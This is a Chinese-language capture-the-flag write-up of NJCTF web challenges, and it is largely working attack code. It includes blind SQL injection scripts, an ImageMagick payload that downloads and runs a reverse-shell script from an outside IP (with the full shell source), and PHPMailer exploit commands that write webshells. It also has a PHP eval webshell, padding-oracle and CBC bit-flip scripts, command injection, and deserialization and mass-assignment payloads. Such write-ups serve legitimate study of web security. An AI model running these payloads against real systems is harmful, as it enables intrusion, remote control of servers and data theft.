NJCTF Web
一共做出了7题
Login
注册的时候,用户名可以用空格截断注册一个admin [很多空格]12345 ,密码aasdewdwqff然后,登陆admin ,密码aasdewdwqff 就能拿到admin权限,这里是绕过varchar的限制
可以参考这篇文章:http://www.freebuf.com/articles/web/124537.html 注:必须是sql_mode为宽松模式时
Come on
这题比赛期间没做出来。
能做到的信息是 宽字节注入。
%df%27 返回Could not get data.
然后,过滤了很多很多敏感字(/、/、and、or、mid、substr、union、>、<、空白符、ascii),一直没找到能运行的payload进行攻击。
比赛完,问了别人,才想到其实可以使用binary类型转换,进行攻击
首先,用||
替换or,再利用right left定位,空格可以用%0b 就是()
http://218.2.197.235:23733/index.php?key=-1%df%27||left((select(flag)from(flag)),1)=0x4e%23
这里,有几个注意的点:
- 单引号被转移,需要用16进制
- mysql不区分大小写,所以对于16进制,要么二重16进制,要么使用binary函数
二重16进制:
GET /index.php?key=-1%df%27||left((select(hex(flag))from(flag)),2)=0x34§34§%23=>>45
binary函数:
GET /index.php?key=-1%df%27||left((select(flag)from(flag)),1)=binary(0x§34§)%23
like函数
/index.php?key=-1%df%27||(select(binary(flag))from(flag))like(0x§4e§25)%23
选择用like 绕过。单引号被转义了用16进制绕过,但是有几个坑:mysql默认不区分大小写,在select的时候加上binary;_在like语句中需要转义。
还一种利用like的payload:
select * from foo where code like '%%fd'||1.having(select(1)from(select(flag)from(flag)where(flag)like(binary(0x4e4a4354467b354830575f4d335f53304d335f735131695f547249436b357d25)))x)#%'
写了几个payload:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
url = "http://218.2.197.235:23733/index.php?key="
payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23"
req = requests.Session()
str = string.printable
char =''
flag = ''
end =0
for i in xrange(1,81):
for s in str:
char = (flag+s).encode('hex')
endurl = (url+payload).format(pos = i,c = char)
# print endurl
r = req.get(endurl)
#print r.text
if len(r.text)>1000:
flag +=s
print flag
break
if s ==str[-1]:#搜索一圈都没搜到
print "we get all!"
end =1
break
if(end):
break
print flag.decode('hex')
#!usr/bin/env python
#-*- coding:utf-8 -*-
import requests
url = "http://218.2.197.235:23733/index.php?key="
payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23"
req = requests.session()
flag =''
for i in xrange(1,100):
for h in xrange(0x00,0xff+1):
endurl = (url+payload).format(pos = i,c =flag+hex(h)[2:])
#print endurl
r = req.get(endurl)
if len(r.text)>1000:
flag +=hex(h)[2:]
print flag
break
print flag.decode('hex').decode('hex')
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import string
url = 'http://218.2.197.235:23733/index.php?key='
payload ='%df%27||right(left((select(flag)from(flag)),{pos}),1)=binary(0x{c})%23'
req =requests.session()
def get_flag():
flag = ""
str = string.printable
for i in xrange(1,50):
for char in str:
endurl = (url+payload).format(pos=i,c=char.encode('hex'))
r = req.get(endurl)
#print endurl
if(char=='}'):
flag+=char
print "we get all flag!"
print flag
print 'test'
exit()
if(len(r.text)>1000):
flag+=char
print flag
break
get_flag()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import string
import requests
req = requests.session()
url = "http://218.2.197.235:23733/index.php?key="
payload = "-1%df%27||(select(binary(flag))from(flag))like(0x{}25)%23"
str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
def get_flag():
flag=''
for i in xrange(1,99):
for c in str:
char = (flag+c).encode('hex')
endurl = (url+payload).format(char)
#print endurl
r = req.get(endurl)
if(len(r.text)>1000):
flag +=c
print flag
break
get_flag()
Be Logical
这道题应该是这次比赛出的最好的一题,很有意思。可惜比赛的时候,没咋做它。
主要过程就是:逻辑漏洞->ImageMagick->PHPMailer
第一步存在两个可走的点:
- 是后台在refund的操作中,用了intval函数,比较point与mony是否相等,来确认数据没有被篡改。但是,我们可以通过科学计数法绕过。intval(1e3)=intval(1)。这样就能购买服务了。
- 本题也可以获取.Sign.php.swp文件,能够发现签名算法存在缺陷,可以爆破secret_key长度并使用哈希长度扩展攻击伪造签名来进行刷钱
接下来就进入到第二步,这里有convert
图片的功能,基本可以确定其存在一个ImageMagick的漏洞
这里参考两篇博客:
http://www.s0nnet.com/archives/imagetragick
https://www.waitalone.cn/imagemagick-poc.html
写一个image.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://106.14.61.185/files/imageMagic.py -O /tmp/imageMagic.py && python /tmp/imageMagic.py 106.14.61.185 12315")'
pop graphic-context
然后,把脚本部署到我们的服务器上
http://106.14.61.185/files/imageMagic.py
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
服务器监听一下 nc -l - 12315
上传png文件,它会自动调用convert,然后就能反弹shell
翻一下,还是没有找到flag。自然接下来就应该是内网渗透了。
这里有一个小技巧,使用arp -nv可以快速探测内网(当然你也可以使用curl来获得远程的一个py扫描脚本,然后扫描)
arp -nv
arp -nv
Address HWtype HWaddress Flags Mask Iface
172.17.42.1 ether 72:1d:76:57:41:32 C eth0
172.26.0.20 ether 72:1d:76:57:41:32 C eth0
172.17.0.1 ether 02:42:ac:11:00:01 C eth0
172.17.0.19 ether 02:42:ac:11:00:13 C eth0
Entries: 4 Skipped: 0 Found: 4
都测试一下。
可以看到在172.17.0.19存活一个Mail SYSTEM
搜一波,学习一下
https://blog.chaitin.cn/phpmailer-cve-2016-10033/
这里的根目录没办法写,存在uploads目录,但是uploads目录下一句话没办法执行(貌似是因为;的原因,可以传入<?php system($_GET[test]);?>
这种格式去绕过),所以可以直接用system
curl http://172.17.0.19 -d "subject=<?php system('ls ./');?>&email=aaa( -X /var/www/html/uploads/xiaoxi1.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email"
curl http://172.17.0.19/uploads/xiaoxi1.php
curl http://172.17.0.19 -d "subject=<?php system('ls ../');?>&email=aaa( -X /var/www/html/uploads/xiaoxi2.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email"
curl http://172.17.0.19/uploads/xiaoxi2.php
curl http://172.17.0.19 -d "subject=<?php system('cat ../flaaaaaaag.php');?>&email=aaa( -X /var/www/html/uploads/xiaoxi3.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email"
curl http://172.17.0.19/uploads/xiaoxi3.php
得到flag
Guess
这种url很容易就能想到可能是文件包含或者伪协议读取
http://218.2.197.235:23735/index.php?page=php://filter/read=convert.base64-encode/resource=upload
读源码
<?php
error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
session_start();
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
脸黑,比赛的时候脚本没跑完😢
这题的思路,和以前做的一个题思路很像(HCTF的兵者多诡?)。
先伪协议读源码,然后上传一个php压缩包(改名为png),再伪协议(zip或phar)读取马,得到shell。这次的主要问题在于,题目把路径加了一个前缀,需要爆破随机数种子才能利用。
爆破随机数种子(session_id为我们的 PHPSESSID,hash为SESSI0N)
记得在文件头设置一下运行时间无限ini_set(‘max_execution_time’, ‘0’);
for($i=0;$i<=999999999;$i++){
$seed =$i;
mt_srand($seed);
$ss = mt_rand();
$session_id="kfm3fk6doepaefpaa9al32h8j7";
$hash1 = md5($session_id. $ss);
$hash2 = "72a6022fd34bf1980ea8d20aafa3bd2a";
if($hash1===$hash2){
echo "we get seed:".$i;
break;
}
if($i==999999999){
echo "run down!we can't get it!";
break;
}
}
echo './uP1O4Ds/' . random_str() . '_';
运行结果:
http://218.2.197.235:23735//index.php?page=zip://uP1O4Ds/hz3CZpGyYKnjH51V6fVYvCmpGXrIzeWm_test.png%23test
再请求一下即可
连接一下,看一波
这里有一个小技巧,可以迅速爆破mt_seed:http://www.openwall.com/php_mt_seed/
Wallet
扫一波目录,能得到一个www.zip的文件。
(弱密码永远跑不出来orz。。。后来,别人给了个弱密码njctf2017)
然后,代码有混淆,随便找个网站解开混淆
<?php
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth=0;
}else if (sha1((string)$hsh) == md5((string)$auth)) {
$auth = 1;
}else{
$auth=0;
}
}else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id=$qstr"; -1 union select flag from flag %23
$result = $db->querySingle($query);
if ( !$result === NULL){
echo "Error - invalid query";
} else {
echo "Wallet contains: $result";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
}
} else echo "Sorry, not authorized."; ?>
一开始就是很典型的弱类型绕过,sha1==md5
弱类型
<?php
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
var_dump(0 == 'abcdefg');
var_dump(1 == '1abcdef');
?>
md5 :240610708,QNKCDZO,aabg7XSs,aabC9RqS
Sha1:aaroZmOk ,aaK1STfY,aaO8zKZF,aa3OFF9m
后面,就是query处存在注入(这里的难点在于只能知道有flag表。。要猜id)
最后的payload
GET /admin.php?query=-11+and+1=2+union+select+id+from+flag+--+ HTTP/1.1
Host: 218.2.197.235:23723
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: piclist=a%3A6%3A%7Bi%3A0%3Bs%3A44%3A%22upload%2Ff7363981c96e54e1f2d8a66aa5cca157.jpeg%22%3Bi%3A1%3Bs%3A44%3A%22upload%2F620eb40635025e52a20ffdffa20298fc.jpeg%22%3Bi%3A2%3Bs%3A44%3A%22upload%2F77af6d66ab71143e5adf91a4dafe3719.jpeg%22%3Bi%3A3%3Bs%3A42%3A%22upload%2F2bc5ef7c4ded2aae2987bfb71a7a700f.js%22%3Bi%3A4%3Bs%3A46%3A%22upload%2F3608dcbf9c8c241b3b8e757353c34f3c.p%2500hp%22%3Bi%3A5%3Bs%3A46%3A%22upload%2Ff954062fc88b8a7524c79d95ae2a7b4c.php%2500%22%3B%7D; auth=QNKCDZO; hsh=aaroZmOk
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Be admin
存在index.php.bak
后面有时间再来复现
主要考点:源码审计 CBC比特反转 Padding-Oracle
可以算是比较综合的Web密码学题了
具体思路:
存在bak源码泄露以提供白盒,使用sqli控制查询语句的返回值,从而可以控制被传递进login函数的参数,由于php==运算符的安全问题,登陆验证函数可以被作为Oracle来使用,从而可以编写脚本,在没有密钥的情况下,通过padding oracle解出明文,再通过异或构造iv,从而在密文不变的情况下使解密后的结果变为admin,进而获取flag
index.php.bak源码泄漏,看源码知道可进行CBC的Padding Oracle和字节翻转攻击。
下面的脚本是直接贴的别人的
进行Padding Oracle攻击的脚本:
python
import requests
import base64
url = 'http://218.2.197.235:23737/index.php'
N = 16
l = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
token = ''
out = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
for i in range(1,17):
for c in range(0,256):
print c
l[N-i] = c
token = ''
for m in l:
token = token + chr(m)
token = base64.b64encode(token)
header = {'Cookie':"PHPSESSID=oot8oracn7o49ibrriscjikal4;ID=yudfxWJ2ptjjo8NLxaLeZQ%3D%3D;token="+token}
res = requests.get(url, headers=header)
data = res.content
print data
if 'ERROR' not in data:
out[N-i] = c ^ i
for y in range(i):
l[N-y-1] = out[N-y-1] ^ (i+1)
break
print out
可以将defaultId的明文读取出来为OrDinaryU5eR,接下来就是进行字节翻转攻击使得解密为admin就可以拿到flag。进行字节翻转攻击的脚本:
php
<?php
$c = base64_decode("ndncqTzQYbXSIiXc4Gc0OA==");
$s = "OrDinaryU5eR";
$tmp = $c;
$tmp[0] = chr(ord($s[0]) ^ ord($tmp[0]) ^ ord('a'));
$tmp[1] = chr(ord($s[1]) ^ ord($tmp[1]) ^ ord('d'));
$tmp[2] = chr(ord($s[2]) ^ ord($tmp[2]) ^ ord('m'));
$tmp[3] = chr(ord($s[3]) ^ ord($tmp[3]) ^ ord('i'));
$tmp[4] = chr(ord($s[4]) ^ ord($tmp[4]) ^ ord('n'));
$tmp[5] = chr(ord($s[5]) ^ ord($tmp[5]) ^ 11);
$tmp[6] = chr(ord($s[6]) ^ ord($tmp[6]) ^ 11);
$tmp[7] = chr(ord($s[7]) ^ ord($tmp[7]) ^ 11);
$tmp[8] = chr(ord($s[8]) ^ ord($tmp[8]) ^ 11);
$tmp[9] = chr(ord($s[9]) ^ ord($tmp[9]) ^ 11);
$tmp[10] = chr(ord($s[10]) ^ ord($tmp[10]) ^ 11);
$tmp[11] = chr(ord($s[11]) ^ ord($tmp[11]) ^ 11);
$tmp[12] = chr(4 ^ ord($tmp[12]) ^ 11);
$tmp[13] = chr(4 ^ ord($tmp[13]) ^ 11);
$tmp[14] = chr(4 ^ ord($tmp[14]) ^ 11);
$tmp[15] = chr(4 ^ ord($tmp[15]) ^ 11);
print base64_encode($tmp);
?>
将得到的IV放到cookie中的token,访问得到flag。
Get Flag
很典型的一个命令截断(&也可以)
%0a截断 导致命令执行
flag=%0a+ls+../../&submit=
解码base64,会有一个
cat: images/: Is a directory 9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
读取一下
flag=%0a+cat+../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag&submit=
得到flag
pictures’ wall
很奇怪的题目- -
登录框无论输入啥都能登陆,系统提示需要管理员权限..怀疑不是用户名密码验证,尝试http头方面的绕过
脑洞一波。。host:127.0.0.1 绕过登陆,得到root权限(貌似就是实现了只能本地登陆的逻辑?但是,实现的不够好)
root有一个上传图片界面。。(fuzz一波,可以看到phtml可以上去。然后题目貌似过滤了?)
<script language="php"> @eval($_POST[xiaoxi])</script>
上传一个图片马,改后缀phtml
不过,这个题目确实非常奇怪。。
看了下源码:
<?php
$content=file_get_contents($_FILES["pic"]["tmp_name"]);
if($filearr === "phtml"){
if(preg_match("/.*<\?php.*/",$content)){
die("Something shows it is a php file!");
}
if (!preg_match("/.*<script language=('|\")php('|\")>.*/",$content)) {
die("Do you want to upload a php file?!");
}
}
感觉确实有点奇怪
Text wall
在页面里存在.index.php.swo
显然,我们要调用__toString函数去highlight_file我们想看到的数据。
这里用到了一个小技巧,php中数组里面有一个对象,它会期望那个对象为string类型。所以,如果对象是一个序列化就会自动调用__toString
所以,我们可以这样构造
$lists = [];
Class filelist{
function __construct($var){
$this->source = $var;
}
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$file = new filelist('index.php');
$lists = array($file);
#var_dump(serialize($file));
var_dump(serialize($lists));
然后,对其sha1 补充到前面,后面url编码一下,放到cookie里面
f3a6de2497f71356a3995e26a1f4f64ae48e80b1%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%38%3a%22%66%69%6c%65%6c%69%73%74%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%73%3a%39%3a%22%69%6e%64%65%78%2e%70%68%70%22%3b%7d%7d
这样就能看到index.php的源码
/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g同样序列化读取一下就好
PS: 据说可以找到原题:https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/
Blog
ruby的代码审计 不大会
Tips:ruby审计思路,i可以首先看route 然后找逻辑。对应着页面找到实现代码
看了下别人的WP
主要问题在于,table users在定义的时候,有一列标志其是否为admin,默认为false
create_table "users", force: true do |t|
t.string "name"
t.string "email"
t.datetime "created_at"
t.datetime "updated_at"
t.string "password_digest"
t.string "remember_token"
t.boolean "admin", default: false
end
而在注册界面的注册函数中,它其实多传了一个admin的参数。只是在实际界面不存在,我们构造一个user[admin]=1即可(这个格式参照其他参数的构造方式)
private
def user_params
params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin)
end
构造一个请求包
POST /users HTTP/1.1
Host: 218.2.197.235:23727
Content-Length: 301
Cache-Control: max-age=0
Origin: http://218.2.197.235:23727
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://218.2.197.235:23727/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: session=eyJhZG1pbiI6Im5vIn0=; session.sig=Uw-lgOYJjpIZLRIXs4H8tv2EK_0; PHPSESSID=kfm3fk6doepaefpaa9al32h8j7; piclist=a%3A2%3A%7Bi%3A0%3Bs%3A43%3A%22upload%2F693a17c7426e064e37c184879f4e4107.png%22%3Bi%3A1%3Bs%3A45%3A%22upload%2F773f33a925049e4906690514266b89cf.phtml%22%3B%7D; _sample_app_session=ZEFvNW5hTzI2aFVSNzNjN05Lc0JISGlFRU04aGE1M3lCL0pyM0xCUkNoWnE4S1VJMGNuUlpOMXl0OXR0aFlMUUlNbGN6ODU1NUxhN21VeU9wbHRyTFNaRHg4STRiZHR4NkRaMzEzalZGSkNKMEZOdjZPRVJ5cklGSEN3OWUxUTByVEVYdUNKQlMxcHJLNHpTZEd5NDd3bUNSSk1kbEFUc2V2aEQramZuSWQ1RUhsNHJxZTZ0bWZiUmdmWjZiSVpuLS1uTG9CM0lBVk1vdzdvM2prL21oUHRnPT0%3D--5607ac4adcab4b1014ea69518f5c5afd8aec911a
Connection: close
utf8=%E2%9C%93&authenticity_token=%2FPQd%2BsT%2B1KX0%2B2vr%2Bqd5ME5G%2B2abPv4x6I3na8FG%2Bcd6QifrU0%2FBEknXMxJIRgvfIzens6iPmAhurvD0foPq9w%3D%3D&user%5Bname%5D=moxiaoxi12345&user%5Bemail%5D=moxiaoxi%40qq11.com&user%5Bpassword%5D=moxiaoxi&user%5Bpassword_confirmation%5D=moxiaoxi&user%5Badmin%5D=1&commit=Create+my+account
CHaII
能搜到一篇非常相似的博客
http://smrrd.de/nodejs-hacking-challenge-writeup.html
这道题,有一个非常脑洞的地方,就是必须输入md5出来全是数字的md5才能触发内存泄漏。。。。
非常神奇orz 原题就没这么脑洞。。
List of few first strings that give only-digit md5 hash:
ximaz : 61529519452809720693702583126814
aalbke : 55203129974456751211900188750366
afnnsd : 49716523209578759475317816476053
aooalg : 68619150135523129199070648991237
bzbkme : 69805916917525281143075153085385
Here’s one with only letters:
cbaabcdljdac : cadbfdfecdcdcdacdbbbfadbcccefabd
输入md5后,全为数字的数据后,会回显数据。
内存泄漏
写一个1.sh
while ((1));do
curl http://218.2.197.235:23729/login --data '{"password":"afnnsd"}' -H "Content-Type: application/json" -i
done
可以看到很明显的内存泄漏
可以找到数据
./1.sh| hexdump -C >1.txt
NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}
然后到github上下载源码,在本地跑一下。
https://github.com/0lddriver/app
将config.js中的数据改一下
var config = {};
config.secret_password = ""
config.session_keys = ["NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}"]
module.exports = config;
然后,修改app.js中的no为yes
app.use(function(req, res, next) {
if(req.session.admin === undefined) {
req.session.admin = 'yes';
}
next();
});
这样就能得到{“admin”:”yes”}的签名
session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo
然后去请求一下admin
GET /admin HTTP/1.1
Host: 218.2.197.235:23729
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"471-PF7BbTeX0i15/QjaTjk5Ww"
就能回显到数据
TkpDVEZ7TjBkNUpT5piv5LiW55WM5LiK5pyA5aW955qE6K+t6KiA77yM5a+55ZCX77yffQ==
解码一下就是flag(中文)
其它
额外做了一个题 也记录下
knock
查看长度,莫斯密码解密失败
然后,查看了一下长度
发现knock长度145 text118
其中,knock中_ 有27 .有118个
猜测_是分隔符
#!/usr/bin/env python
#!-*- coding:utf-8 -*-
def readfile(filename):
with open(filename,"r") as fp:
content=fp.read()
return content
knock = readfile("knock.txt")
text = readfile("text.txt")
# print len(knock),len(text)
# print knock.count('_')
# print knock.count('.')
# print knock
# print text
test = ''
indexpre=0
i=0
while(knock.find('_')!=-1):
index = knock.find('_')
knock = knock.replace('_','-',1)
text =text[:index]+' '+text[index:]
indexpre=index
print text
zjqz hexjz mo oqrs sai daiyn lebn zjo vos ltah zjer horrqxo e iron lobdo za voou zjo vos qfqs ltah mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx
然后,词频分析一下
that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg
提示是栅栏密码
ineeal
cstrla
aehefg
6位栅栏
icanseetheflag